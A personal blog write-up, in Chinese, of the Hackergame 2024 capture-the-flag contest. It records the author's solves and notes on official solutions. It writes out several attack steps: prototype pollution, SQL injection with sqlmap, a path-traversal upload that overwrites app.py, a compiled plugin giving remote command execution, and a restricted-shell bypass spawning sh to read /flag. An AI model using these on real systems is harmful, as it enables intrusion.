Hackergame 2024 个人复盘

Wang1r Lv3

个人WP

Hackergame作为中科大举办的CTF比赛,赛题都很有水平和研究价值(而且都很有梗),确实是一次玩的很开心的比赛(虽然做出来的题并不多)

挑出几道我做出来且觉得有记录价值的题来写一写

Web

比大小王

自从小猿口算火了之后,各大CTF都开始出类似的题了(我们CTFer真是不肯放过任何一个热梗呢)

所以用类似的思路

首先分析前端脚本,发现题目首先请求了/game路由获取游戏数据,请求之后获取到游戏数据的json,发现是100个数字对

在前端进行一段游戏,在控制台调用前端函数,拦截请求包可知发送数据是input[]

于是就写脚本进行游戏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import json
import requests
import time
url = "http://202.38.93.141:12122/game"

headers = {
"Host": "202.38.93.141:12122",
"Accept-Language": "zh-CN,zh;q=0.9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.59 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://202.38.93.141:12122",
"Referer": "http://202.38.93.141:12122/",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": "session=.eJx1VF1vUkEQ_StmXzuxO_txd5fEh5ZqgoLGtpBW4wMiAiKCFjSV9L_38mB6zhqebiY7M-djZu7ezMarqenszd12_Gt7vTgEmrzNWZ21z3PxYn6Pv--md6bzcW-ebduPetFPD_IvUtEGwiBqIXSSn6Is6uDNi6U-4SlynJlEoY3FnpolIULkMk94ATOBdcKXg4TIISBEhHOcSeBaGxGwSY3guZIKMdchvDaigaygPgH5WNFyxKcKvojDxIQ24RiUrGh5kqHsGdWlemMciy9EBgVS11YuvnnEz9XCYEuCi1h18BrChuHYJU4tlMpzyITeHo8SPsllRItUI16Lq1aEtjAhr0i0eOmao0QCsUzV7uBtFm5ThCeENxDEo5xAZegY62nY-FiZWz0eXddC6llSohHR_6WpmHliZlEQa6UfGPVPwlcKiVb-09bGZrteTn-YjvFFO4OXw27vfffr5Dxvdn9O59_mu_mquNNV7Ke_65uz_kW5t704vL3Si9y_Of981pu9vl32Vs3m7bT_5tXPweTyfvnu-mR0MhysZ4vuKC1GH_TLcHIVw2b5wjw8AvyIpBI.Zysmqw.JHY9f8UzOImABvxEujMUz4BRZFI",
"Connection": "keep-alive"
}

cookie = {"session":".eJx1VF1vUkEQ_StmXzuxO_txd5fEh5ZqgoLGtpBW4wMiAiKCFjSV9L_38mB6zhqebiY7M-djZu7ezMarqenszd12_Gt7vTgEmrzNWZ21z3PxYn6Pv--md6bzcW-ebduPetFPD_IvUtEGwiBqIXSSn6Is6uDNi6U-4SlynJlEoY3FnpolIULkMk94ATOBdcKXg4TIISBEhHOcSeBaGxGwSY3guZIKMdchvDaigaygPgH5WNFyxKcKvojDxIQ24RiUrGh5kqHsGdWlemMciy9EBgVS11YuvnnEz9XCYEuCi1h18BrChuHYJU4tlMpzyITeHo8SPsllRItUI16Lq1aEtjAhr0i0eOmao0QCsUzV7uBtFm5ThCeENxDEo5xAZegY62nY-FiZWz0eXddC6llSohHR_6WpmHliZlEQa6UfGPVPwlcKiVb-09bGZrteTn-YjvFFO4OXw27vfffr5Dxvdn9O59_mu_mquNNV7Ke_65uz_kW5t704vL3Si9y_Of981pu9vl32Vs3m7bT_5tXPweTyfvnu-mR0MhysZ4vuKC1GH_TLcHIVw2b5wjw8AvyIpBI.Zysmqw.JHY9f8UzOImABvxEujMUz4BRZFI"}
data = {}
response = requests.post(url,json=data,cookies=cookie)
print(response.json())
game_data = response.json()
values = game_data['values']
inputs = []
for value_pair in values:
value1, value2 = value_pair
if value1 < value2:
inputs.append('<')
elif value1 > value2:
inputs.append('>')
print("Generated inputs:", inputs)
url = 'http://202.38.93.141:12122/submit'
data = {
"inputs": inputs
}
print(data)
response = requests.post(url, json=data)

print('Response Status Code:', response.status_code)
print('Response Content:', response.content.decode('utf8'))

发送之后发现会返回数据错误,再次分析响应包,得知返回了一个set-Cookie

于是修改第二次请求为

response = requests.post(url, json=data,cookies=response.cookies)

再次请求,返回“检测到时空跳跃”,怀疑是时间问题,于是

sleep(5)

再次请求,得到flag

flag{1-AM-Th3-H4CK3R-KIn9-of-c0mPAr!Ng-NUmBErS-2o24}

Node.js is Web Scale

该题是一个js题,但我对js其实并不熟悉,于是我请教(真正的CTF领域大神)chatGPT,得知可能是原型链污染,于是开始进行尝试

首先,发送一个 POST 请求到 /set 路由,将 __proto__.getflag 设置为一个有效的命令(例如 cat /flag)。这会导致所有对象都继承这个属性

发送一个 GET 请求到 /execute 路由,使用 getflag 作为命令

这样就能获取到flag了

flag{n0_pr0topOIl_50_U5E_new_Map_1n5teAD_Of_0bject2kv_d019f3a4d7}

平心而论,这道题的难度不大,但原型链污染是我第一次接触,还是很值得记录的

(至于深入学习原理,当然是下次遇到再说啦)

PaoluGPT

首先,题目给了一个巨大的AI对话的数据集,第一题明显是要在其中寻找flag

当然不可能自己找了,写出以下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
from bs4 import BeautifulSoup
import re
cookies = {
'_ga': 'GA1.1.85261473.1730723937',
'_ga_R7BPZT6779': 'GS1.1.1730723937.1.1.1730723960.37.0.131545499',
'session': 'eyJ0b2tlbiI6IjM5MTpNRVVDSVFDZmNCOHB1dy9oamh1aG05Mi9tNUw3em9YQUxEOXkwSTVVWVMxRDhMWEJiQUlnSllrSW02cE5lTEtGcU1jUnlrT1QrVitVTW9naUNWN2lWWjFkVWNTNTRwaz0ifQ.ZysYsQ.wH7PFBEqUspdD5WzuHSCWUqYdvg',
}

headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
"Cookie": "session=.eJx1VNtOwkAU_BWzr25kz273RuIDF01Q0CiXgMYHRAREBAU0SPh328SkZ5rw1EzanTMzZ7Z7MRkuxqK8F-vN8GvTmWWAvFEh6GjDmQmJFN_D9-14LcqPe3GySR9OUng6yH-USNI5Ii9J5VBLnwMrXQ6MJAuInYoyYYxWGv6hhVfkQUnMkZdMJBlOGSUlcMyhAcc1E0zXwALmiLhvZoeIp0AwPLPAkIZoKWK2CQ9Q8SQCsECY5GBgAHsBIougGsPNaBQPjesMkJIC0tS9hUWAfSBVkGHGqnj2XI4Hw8T3ko04VpiEbwLTxVI4iAI7kSYT8SXmGzji0zVHWB8DFTG88qk76K4DRirotAA9DzeBbBkNsjg0C6VLlcHl0NyBO7asVCbfD2pWECaWFe-whl6pggMLLOrogtKBhh9ElgAeYBz-odixwg_EFDbEg4iFSxThHNCEzHuKxWY5H3-IsjCRyq2Lbq1xV3sdVcNq-1Oavk2300XUpYVt-t9lv9Ksx51q2O6gTfXQ7FefK43J1WDeWLjVzbh5ffnZGt3v5red095pt7WczGo9P-s90Et31LbJan4uDn_KWaM5.ZystiQ.cSllhsZPEFmQJamp9BWxJg66BUg",
# 'Cookie': '_ga=GA1.1.85261473.1730723937; _ga_R7BPZT6779=GS1.1.1730723937.1.1.1730723960.37.0.131545499; session=eyJ0b2tlbiI6IjM5MTpNRVVDSVFDZmNCOHB1dy9oamh1aG05Mi9tNUw3em9YQUxEOXkwSTVVWVMxRDhMWEJiQUlnSllrSW02cE5lTEtGcU1jUnlrT1QrVitVTW9naUNWN2lWWjFkVWNTNTRwaz0ifQ.ZyjRtg.jpu-clgSoybGvNNkyUNdNDb9cRA',
'Referer': 'https://chal01-7ibwt9qy.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=40a7b8a8-80ea-4e79-b2af-3239281cfe20',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0',
'sec-ch-ua': '"Chromium";v="130", "Microsoft Edge";v="130", "Not?A_Brand";v="99"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
}

response = requests.get('https://chal01-88yesohp.hack-challenge.lug.ustc.edu.cn:8443/list', cookies=cookies, headers=headers)
print(response.text)
soup = BeautifulSoup(response.text, 'html.parser')

# 找到所有的链接
links = soup.find_all('a', href=True)

# 遍历每个链接
for link in links:
href = link['href']
if not href.startswith('http'):
# 如果是相对路径,转换为绝对路径
href = 'https://chal01-88yesohp.hack-challenge.lug.ustc.edu.cn:8443/' + href


# 获取链接内容
link_response = requests.get(href,headers=headers,cookies=cookies)
link_content = link_response.content.decode('utf-8') # 解码为字符串

# 查找"flag"字符串
if re.search('flag', link_content):
print(f'Found "flag" in link: {href}')

# 示例:打印链接内容

找到第一个flag

flag{zU1_xiA0_de_11m_Pa0lule!!!_4f98ef23b7}

下载附件,审计,发现有SQL注入点,于是开始SQL注入

整体来说还是比较顺利的,用sqlmap就可以跑出来表名,列名

然后进sql-shell查SELECT * FROM messages WHERE shown=0;

得到第二个flag

喜欢做签到的 CTFer 你们好呀

记录一下自己可能用到的非预期解(应该可能大概是吧)

进官网之后,进F12搜索flag,找到附近一个看起来像base64的字符串,直接解密,发现确实是,得到第一个flag

分析第一个flag,发现用到了atob(),直接搜索,找到第二个调用的地方,果然有第二个flag

(真是非预期吗?)

====================================这里是分割线======================================

赛后感想

其实复盘下来并没做出几道题,但做的还是很开心的,特别是做出来时的成就感,比geekgame强

本来以为hackergame难度会对标geekgame,没想到其实还好,适合我这种新手做

希望下回还能参加

====================================这里是分割线======================================

WP学习与复现

web

禁止内卷

官方题解:

本题事实上是由真实案例改编的,当然当时用的不是平方差,数据集也没这么离谱(

看过 Flask 文档 “Uploading Files” 的同学应该知道,有一个重要的函数 secure_filename(),用来处理用户提供的文件名:

1
2
3
4
5
6
>> secure_filename("My cool movie.mov")
'My_cool_movie.mov'
>> secure_filename("../../../etc/passwd")
'etc_passwd'
>> secure_filename('i contain cool \xfcml\xe4uts.txt')
'i_contain_cool_umlauts.txt'

但是题目代码没有做这样的处理。从浏览器的 devtools 可以注意到,在上传文件的时候,HTTP 请求长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /submit HTTP/1.1
Host: chal02-y6bf22ju.hack-challenge.lug.ustc.edu.cn:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,zh-CN;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: multipart/form-data; boundary=---------------------------315661599216369553353790654512
Content-Length: 253
Origin: https://chal02-y6bf22ju.hack-challenge.lug.ustc.edu.cn:8443
DNT: 1
Connection: keep-alive
Referer: https://chal02-y6bf22ju.hack-challenge.lug.ustc.edu.cn:8443/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache

-----------------------------315661599216369553353790654512
Content-Disposition: form-data; name="file"; filename="hostname"
Content-Type: application/octet-stream

hostname.example.com

-----------------------------315661599216369553353790654512--

Body 里的 filename 就对应的代码中的 file.filename,虽然是「文件名」,但是没有什么东西在阻止你往这个文件名里面加别的字符,比如说 /.。如果 filename../../../../../tmp/a,那么 os.path.joinfile.save 都不会做任何处理,导致路径穿越漏洞。

然后接下来我们需要确定要写什么文件,写到哪里。根据题目提示,一个非常直觉的做法就是覆盖掉这段 Python 代码的文件。根据 Flask “Command Line Interface” 的文档可以知道:

While –app supports a variety of options for specifying your application, most use cases should be simple. Here are the typical values:

(nothing)

The name “app” or “wsgi” is imported (as a “.py” file, or package), automatically detecting an app (app or application) or factory (create_app or make_app).

可以尝试下面几种选项:

  • /tmp/web/app.py(题目的实际文件位置)
  • /tmp/web/wsgi.py
  • /tmp/web/app/__init__.py
  • /tmp/web/wsgi/__init__.py

最后一步是要发修改后的请求。Burp Suite 可以轻松实现,如果没有的话也没事,Firefox 开发者工具也支持修改并重放包。不过如果用后者的话,Firefox 似乎无法在重放时正确处理文件中的中文字符(原因不明),因此需要手动把中文字符删掉。

我没有找到用 curl 修改文件名的方法,如果有知道的话欢迎在自己的 writeup 中写出。

我当时做题时考虑过文件上传漏洞,毕竟代码没对文件做过多过滤,但我确实完全不了解以上提到的知识,遂不得已放弃。

按照以上思路复现了一遍,确实好神奇啊。

别人为什么都能一眼看出来(╯︵╰,)

LESS 文件查看器在线版

官方题解:执行以下命令:

1
2
3
4
printf '#include <stdlib.h>\nvoid onload(void *v) { system("ls / -alh"); }' | \
gcc -fPIC -shared -o plugin.so -xc -
ar rc ./@.a /dev/null
echo '-s --plugin ./plugin.so ./@.a' > .a

然后把生成的 plugin.so.a@.a 三个文件上传即可在服务器上执行列目录的命令。这里要注意,上传时选择的文件的顺序很重要,一定要保证 @.a 是最后一个。在我的 macOS 的 Chrome 浏览器上面,按照文件大小排序就能保证上传的顺序,其他操作系统我没测试,但是总是可以通过 curl 之类的命令或者写脚本来保证上传顺序。

最后把上面的命令替换成 cat /flag,重新上传一次,就可以得到 flag。

我当时看到是在线less,还以为是与linux提权类似的流程,看来是我天真了。

题解看了也没懂…….

看到出题思路,感觉大家都好有钻研精神,而我连去查一查都没有……

这就是差距吧(╥ω╥)

general

不宽的宽字符

官方题解:
字符串是 NULL 结尾 (zero-terminated) 的,如果在字符串的中间加入一个 \0,就可以在字符串层面丢弃后面的内容。

我们想要构造前两个字符 th 对应的输入,那么就去找到 t 和 h 的 ASCII 代码 ,分别是 0x740x68,然后根据上面的讨论,需要构造的宽字符就是 0x6874,去 Unicode 代码表 上找到这个字符,即 。就这样一步一步地转化,可以得到我们的 payload,即 桴晥慬g

将宽字符转化为窄字符的过程中,将Unicode转化为ASCII码就可以得到结果,与官方题解类似地,如果想要构造Z:\theflag,只需要构造Z:/theflag 0 㩚琯敨汦条Ā

确实是完全没接触过的知识(杂项真杂啊)

PowerfulShell

官方题解:

~ 会被扩展为 $HOME 变量即家目录,所以我们可以将 ~ 赋值给符合 bash 命名规则([_|a-z|A-Z]*)的变量,从而任意使用这 8 个字符。

/players 可以拼凑出很多常见命令比如 lsps,参考 Shell Parameter Expansion ,我们只需要使用 ${parameter:offset:length} 的形式就可以拼接字符串任意位置的字符,虽然 PowerfulShell 禁止使用字符 0,看似不能获取首位字符,但继续阅读文档可知这一限制是可以绕过的:\

1
2
3
$ string=01234567890abcdefgh
$ echo ${string: -7:2}
bc

单依靠家目录的 8 个字符不足以解决本题,检索 shell special variable 可找到不包含字母的特殊变量 $_, $$, $-, $_ 等。设计 PowerfulShell 时笔者将 get shell 所需最简单的两个字符 sh 分别分到了家目录和 $-,其中 $- 算是一个隐藏前置条件,读者可以自行分析 $- 变量的意义。到了这一步已经具备完成本题的全部条件,但不排除选手解题过程中有其他思路。

这个题抽象到,就算我已经看了题解,依旧没法想明白这是如何实现的

暂且留下一些其他选手的WP,等日后再回顾吧

huige233:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash

FORBIDDEN_CHARS="'\";,.%^*?!@#%^&()><\/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0"

PowerfulShell() {
while true; do
echo -n 'PowerfulShell@hackergame> '
if ! read input; then
echo "EOF detected, exiting..."
break
fi
if [[ $input =~ [$FORBIDDEN_CHARS] ]]; then
echo "Not Powerful Enough :)"
exit
else
eval $input
fi
done
}

PowerfulShell

这里贴出Powershell代码 可以看到禁用了非常多的字符

检查环境发现~的目录是/players 已知$- = hB

有以下构造

1
2
3
4
__=~
___=$-
____=$[-1+1]
`${__:7:1}${___:____:1}`

构造了一个sh指令 后续就是简单的cd ..和cat /flag了

YUKI.N:

1
2
PowerfulShell@hackergame> ~
/players/PowerfulShell.sh: line 16: /players: Is a directory

所以我们可以构造执行 ls ~ ,再拿到它的结果:

1
2
3
4
5
6
PowerfulShell@hackergame> _1=~
PowerfulShell@hackergame> _2=${_1:2:1}
PowerfulShell@hackergame> _3=${_1:7:1}
PowerfulShell@hackergame> _4=`$_2$_3 ~`
PowerfulShell@hackergame> $_4
/players/PowerfulShell.sh: line 16: PowerfulShell.sh: command not found

通过 sh 即可获得 shell,并在里面读取 flag:

1
2
3
4
PowerfulShell@hackergame> _5=${_4:14:2}
PowerfulShell@hackergame> $_5
cat /flag
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_bae08a2ded}

math

强大的正则表达式

官方题解:

第一问,由于判断一个十进制数是否整除 16 只需要看最后四位,所以枚举所有符合条件的最后四位,构造对应的正则表达式就可以了。严格来说还要考虑不足四位的情况,但是测试数据里面出现这种情况的概率很小,忽略掉也是通过的。

1
print('(0|1|2|3|4|5|6|7|8|9)*' + '(' + '|'.join(f'{i:04d}' for i in range(0, 10000, 16)) + ')')

正则表达式一直是我的弱项,之前一直靠GPT来解决,现在GPT也无法解决的情况出现后,就无法应对了

在写这道题时,我在网上找到了16的倍数的判断方法,但始终无法用正则表达式表示下来

这段程序跑下来应该是这样的

(0|1|2|3|4|5|6|7|8|9)*(0000|0016|0032|0048|0064|0080|0096|0112|0128|0144|0160|0176|0192|0208|0224|0240|0256|0272|0288|0304|0320|0336|0352|0368|0384|0400|0416|0432|0448|0464|0480|0496|0512|0528|0544|0560|0576|0592|0608|0624|0640|0656|0672|0688|0704|0720|0736|0752|0768|0784|0800|0816|0832|0848|0864|0880|0896|0912|0928|0944|0960|0976|0992|1008|1024|1040|1056|1072|1088|1104|1120|1136|1152|1168|1184|1200|1216|1232|1248|1264|1280|1296|1312|1328|1344|1360|1376|1392|1408|1424|1440|1456|1472|1488|1504|1520|1536|1552|1568|1584|1600|1616|1632|1648|1664|1680|1696|1712|1728|1744|1760|1776|1792|1808|1824|1840|1856|1872|1888|1904|1920|1936|1952|1968|1984|2000|2016|2032|2048|2064|2080|2096|2112|2128|2144|2160|2176|2192|2208|2224|2240|2256|2272|2288|2304|2320|2336|2352|2368|2384|2400|2416|2432|2448|2464|2480|2496|2512|2528|2544|2560|2576|2592|2608|2624|2640|2656|2672|2688|2704|2720|2736|2752|2768|2784|2800|2816|2832|2848|2864|2880|2896|2912|2928|2944|2960|2976|2992|3008|3024|3040|3056|3072|3088|3104|3120|3136|3152|3168|3184|3200|3216|3232|3248|3264|3280|3296|3312|3328|3344|3360|3376|3392|3408|3424|3440|3456|3472|3488|3504|3520|3536|3552|3568|3584|3600|3616|3632|3648|3664|3680|3696|3712|3728|3744|3760|3776|3792|3808|3824|3840|3856|3872|3888|3904|3920|3936|3952|3968|3984|4000|4016|4032|4048|4064|4080|4096|4112|4128|4144|4160|4176|4192|4208|4224|4240|4256|4272|4288|4304|4320|4336|4352|4368|4384|4400|4416|4432|4448|4464|4480|4496|4512|4528|4544|4560|4576|4592|4608|4624|4640|4656|4672|4688|4704|4720|4736|4752|4768|4784|4800|4816|4832|4848|4864|4880|4896|4912|4928|4944|4960|4976|4992|5008|5024|5040|5056|5072|5088|5104|5120|5136|5152|5168|5184|5200|5216|5232|5248|5264|5280|5296|5312|5328|5344|5360|5376|5392|5408|5424|5440|5456|5472|5488|5504|5520|5536|5552|5568|5584|5600|5616|5632|5648|5664|5680|5696|5712|5728|5744|5760|5776|5792|5808|5824|5840|5856|5872|5888|5904|5920|5936|5952|5968|5984|6000|6016|6032|6048|6064|6080|6096|6112|6128|6144|6160|6176|6192|6208|6224|6240|6256|6272|6288|6304|6320|6336|6352|6368|6384|6400|6416|6432|6448|6464|6480|6496|6512|6528|6544|6560|6576|6592|6608|6624|6640|6656|6672|6688|6704|6720|6736|6752|6768|6784|6800|6816|6832|6848|6864|6880|6896|6912|6928|6944|6960|6976|6992|7008|7024|7040|7056|7072|7088|7104|7120|7136|7152|7168|7184|7200|7216|7232|7248|7264|7280|7296|7312|7328|7344|7360|7376|7392|7408|7424|7440|7456|7472|7488|7504|7520|7536|7552|7568|7584|7600|7616|7632|7648|7664|7680|7696|7712|7728|7744|7760|7776|7792|7808|7824|7840|7856|7872|7888|7904|7920|7936|7952|7968|7984|8000|8016|8032|8048|8064|8080|8096|8112|8128|8144|8160|8176|8192|8208|8224|8240|8256|8272|8288|8304|8320|8336|8352|8368|8384|8400|8416|8432|8448|8464|8480|8496|8512|8528|8544|8560|8576|8592|8608|8624|8640|8656|8672|8688|8704|8720|8736|8752|8768|8784|8800|8816|8832|8848|8864|8880|8896|8912|8928|8944|8960|8976|8992|9008|9024|9040|9056|9072|9088|9104|9120|9136|9152|9168|9184|9200|9216|9232|9248|9264|9280|9296|9312|9328|9344|9360|9376|9392|9408|9424|9440|9456|9472|9488|9504|9520|9536|9552|9568|9584|9600|9616|9632|9648|9664|9680|9696|9712|9728|9744|9760|9776|9792|9808|9824|9840|9856|9872|9888|9904|9920|9936|9952|9968|9984)

确实很抽象

后面两问已经没有胆量去研究了

优雅的不等式

官方题解:

从代码注释给出的样例输入可以看出,将四分之一圆减去其内接三角形转换成定积分形式就能证明 pi≥2,显然构造一个可以被四分之一圆覆盖并且面积等于 2/3 的函数图像就可以证明 pi≥8/3,一个很容易想到的例子就是抛物线 f(x)=1−x**2,刚好可以满足要求,于是提交函数 4*((1-x**2)**(1/2)-(1-x**2)) 就可以完成证明。经过测试,一些大语言模型可以直接构造出这个函数。

自从开始刷知乎,我就经常看见这种证明,当时就挺好奇的,这下也算是解惑了,不过这样的证明明显也需要“注意力惊人“,不是我这样的数学渣渣可以解决的。后两问也就不继续看了

关灯

官方题解:

经典版本关灯游戏的解法可以在网络上找到很多资料,3D 版本关灯游戏解法也是类似的。第一问只有 3^3=27 个灯,可以直接枚举全部可能的操作,一共是 2^27=134217728 种情况。第二问有 5^3=125 个灯,直接枚举是不行的,但是可以只枚举最上面一层的操作,一共 5^2=25 个灯,然后逐层推导出其它地方的操作,那么只需要枚举 225=33554432 种情况。第三问有 113=1331 个灯,只枚举一层 112=121 个灯也是不现实的,但是可以把问题转换为异或方程组求解,使用高斯消元算法就能直接解出答案,整体算法复杂度是 O(n^9),所需计算次数的量级是 2e9,是可以接受的。

最开始分析这个题时,觉得是算法题,上网查过一些资料后才发现是数学问题,遂放弃。

不过第一问还是挣扎过的,就是电脑性能不太行,时间内爆不出来,也还是放弃了。

  • 标题: Hackergame 2024 个人复盘
  • 作者: Wang1r
  • 创建于 : 2024-11-09 19:37:52
  • 更新于 : 2025-04-07 12:34:02
  • 链接: https://wang1rrr.github.io/2024/11/09/Hackergame 2024 个人复盘/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。